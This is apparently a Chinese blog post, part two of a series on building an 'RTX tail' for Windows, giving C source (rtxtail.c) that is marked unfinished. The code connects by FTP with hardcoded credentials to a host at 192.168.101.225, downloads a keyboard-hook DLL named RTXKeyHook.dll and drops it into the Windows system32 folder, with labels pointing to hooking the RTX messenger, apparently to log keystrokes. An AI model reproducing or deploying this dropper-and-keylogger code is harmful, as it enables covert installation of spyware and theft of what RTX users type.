简单实现windows上RTX尾巴(中)(c语言)
简单实现windows下RTX尾巴(中)(c语言)
rtxtail.c
未完。
rtxtail.c
#include <windows.h> #include <stdio.h> #include <wininet.h> #include <process.h> #pragma comment(lib, "WININET.LIB") HWND hLast; char m_store[MAX_PATH]; const char *hookedName = "HOOKED RTX"; const char *unhookedName = "UNHOOKED RTX"; //down load hook dll using ftp way BOOL DownloadHookDll() { BOOL bSuccess; HINTERNET hIntSession; HINTERNET hFtpSession; char szAppName[] = "rtxkeyhook"; char szServer[] = "192.168.101.225"; char szUser[] = "qpid"; char szPwd[] = "qpid"; char szDirectory[] = "/home/qpid/mydll"; char szFile[] = "RTXKeyHook.dll"; char szCurDir[MAX_PATH]; char szNewFile[] = "c:\\windows\\system32\\RTXKeyHook.dll"; DWORD dwCurDir = MAX_PATH; printf("try to open intSession...\n"); hIntSession = InternetOpen(szAppName, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if(hIntSession == NULL) { printf("can not open intSession!\n"); return FALSE; } printf("intSession is open!\n"); printf("try to open ftpSession...\n"); hFtpSession = InternetConnect(hIntSession, szServer, INTERNET_DEFAULT_FTP_PORT, szUser, szPwd, INTERNET_SERVICE_FTP, 0, 0); if(hFtpSession == NULL) { InternetCloseHandle(hIntSession); printf("can not open ftpSession!\n"); return FALSE; } printf("ftpSession is open!\n"); ZeroMemory(szCurDir, sizeof(szCurDir)); FtpGetCurrentDirectory(hFtpSession, szCurDir, &dwCurDir); printf("current dir is %s .\n", szCurDir); printf("try to set current directory...\n"); bSuccess = FtpSetCurrentDirectory(hFtpSession, szDirectory); if(!bSuccess) { InternetCloseHandle(hFtpSession); InternetCloseHandle(hIntSession); printf("can not set directory!\n"); return FALSE; } printf("set directory ok!\n"); printf("try to get file...\n"); FtpGetFile(hFtpSession, szFile, szNewFile, TRUE, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0); InternetCloseHandle(hFtpSession); InternetCloseHandle(hIntSession); return TRUE; }
未完。